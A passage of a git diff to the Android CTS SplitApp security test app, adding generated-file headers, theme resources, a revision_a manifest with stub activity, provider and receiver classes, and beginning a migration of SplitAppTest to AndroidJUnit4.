+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
index 1d19420..4e2526c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_armeabi_v7a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
index 010c372..a4c05bc 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 0322dcd..ae679f2 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
index 95fdb23..296e3b7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_armeabi">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
index 8977e70..8a49aaa 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index 4ee13ba..65765b2 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
index 53ea38f..a35083f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_mips">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
index 45b8382..19d6c39 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 03c4305..d1e3ce4 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
index 0b75613..f21da1f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_mips64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
index 8c29904..a479bce 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index 14144a6..fab11b8 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
index 4219791..4a21985 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_x86">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
index 2993d92..3a02d26 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 462c1cc..b701625 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
index e697d5c..0cef063 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_x86_64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
index 23f4169..17d2aac 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
index b39e605..1828929 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
@@ -15,12 +15,15 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
package="com.android.cts.splitapp"
android:targetSandboxVersion="2"
android:isSplitRequired="true">
- <uses-sdk android:minSdkVersion="4"
- android:targetSdkVersion="27"/>
+ <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+ to pass the build error, since tests need to use minSdkVersion 4. -->
+ <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner,
+ androidx.test.rules, androidx.test.monitor" android:targetSdkVersion="27"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+ android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..cb95205
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ https://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/content"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:background="?attr/customColor">
+
+ <TextView android:id="@+id/text"
+ android:layout_height="wrap_content"
+ android:layout_width="wrap_content"
+ android:text="@string/my_string1"
+ android:background="?android:attr/colorBackground"/>
+
+</LinearLayout>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
new file mode 100644
index 0000000..e1961a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- light cool colors for Theme_Base -->
+ <color name="custom_color">@color/blue_light</color>
+ <color name="navigation_bar_color">@color/teal_light</color>
+ <color name="status_bar_color">@color/aqua_light</color>
+
+ <color name="blue_light">#ffadd8e6</color>
+ <color name="teal_light">#ffe0f0f0</color>
+ <color name="aqua_light">#ffe0ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..ecde812
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <attr name="customColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
new file mode 100644
index 0000000..5cd838a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- cool colors for Theme_Base -->
+ <color name="custom_color">@color/blue</color>
+ <color name="navigation_bar_color">@color/teal</color>
+ <color name="status_bar_color">@color/aqua</color>
+
+ <color name="blue">#ff0000ff</color>
+ <color name="teal">#ff008080</color>
+ <color name="aqua">#ff00ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
new file mode 100644
index 0000000..f509892
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Base" parent="@android:style/Theme.Material">
+ <item name="customColor">@color/custom_color</item>
+ <item name="android:windowBackground">@drawable/base_color_drawable</item>
+ <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+ <item name="android:statusBarColor">@color/status_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..41c164a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="com.android.cts.splitapp"
+ android:targetSandboxVersion="2">
+
+ <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+ to pass the build error, since tests need to use minSdkVersion 4. -->
+ <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+ "androidx.test.runner, androidx.test.rules, androidx.test.monitor"/>
+
+ <!-- Remove the CAMERA permission
+ <uses-permission android:name="android.permission.CAMERA"/> -->
+ <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <!-- Add the VIBRATE permission -->
+ <uses-permission android:name="android.permission.VIBRATE"/>
+
+ <application android:label="SplitApp"
+ android:multiArch="true">
+ <!-- Updates to .revision_a.MyActivity -->
+ <activity android:name=".revision_a.MyActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="android.service.wallpaper"
+ android:resource="@xml/my_activity_meta"/>
+ </activity>
+ <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ <!-- Updates to .revision_a.MyReceiver -->
+ <receiver android:name=".revision_a.MyReceiver"
+ android:enabled="@bool/my_receiver_enabled"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.DATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+ <receiver android:name=".LockedBootReceiver"
+ android:exported="true"
+ android:directBootAware="true">
+ <intent-filter>
+ <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+ </intent-filter>
+ </receiver>
+ <receiver android:name=".BootReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.BOOT_COMPLETED"/>
+ </intent-filter>
+ </receiver>
+
+ <!-- Updates to .revision_a.MyProvider -->
+ <provider android:name=".revision_a.MyProvider"
+ android:authorities="com.android.cts.splitapp"
+ android:exported="true"
+ android:directBootAware="true">
+ </provider>
+
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
new file mode 100644
index 0000000..5303667
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
@@ -0,0 +1 @@
+DIRFILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
new file mode 100644
index 0000000..79d2b95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
@@ -0,0 +1 @@
+FILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
new file mode 100644
index 0000000..feeafea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <bool name="my_receiver_enabled">true</bool>
+
+ <string name="my_string1">blue-revision</string>
+ <string name="my_string2">purple-revision</string>
+ <string name="my_new_string">new string</string>
+
+ <color name="my_color">#00FFFF</color>
+ <integer name="my_integer">456</integer>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
new file mode 100644
index 0000000..c2036db
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
new file mode 100644
index 0000000..ea22de6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+ public static boolean sCreated = false;
+
+ @Override
+ public boolean onCreate() {
+ sCreated = true;
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
new file mode 100644
index 0000000..2a7f180
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import com.android.cts.splitapp.BaseBootReceiver;
+
+public class MyReceiver extends BaseBootReceiver {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index f25ad27..286a26f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -16,10 +16,20 @@
package com.android.cts.splitapp;
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
import static org.xmlpull.v1.XmlPullParser.START_TAG;
+import android.app.Activity;
import android.content.BroadcastReceiver;
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -40,13 +50,19 @@
import android.os.Environment;
import android.system.Os;
import android.system.StructStat;
-import android.test.AndroidTestCase;
import android.test.MoreAsserts;
import android.util.DisplayMetrics;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.cts.splitapp.TestThemeHelper.ThemeColors;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
@@ -62,8 +78,10 @@
import java.lang.reflect.Method;
import java.util.List;
import java.util.Locale;
+import java.util.stream.Collectors;
-public class SplitAppTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
private static final String TAG = "SplitAppTest";
private static final String PKG = "com.android.cts.splitapp";
@@ -72,9 +90,20 @@
public static boolean sFeatureTouched = false;
public static String sFeatureValue = null;
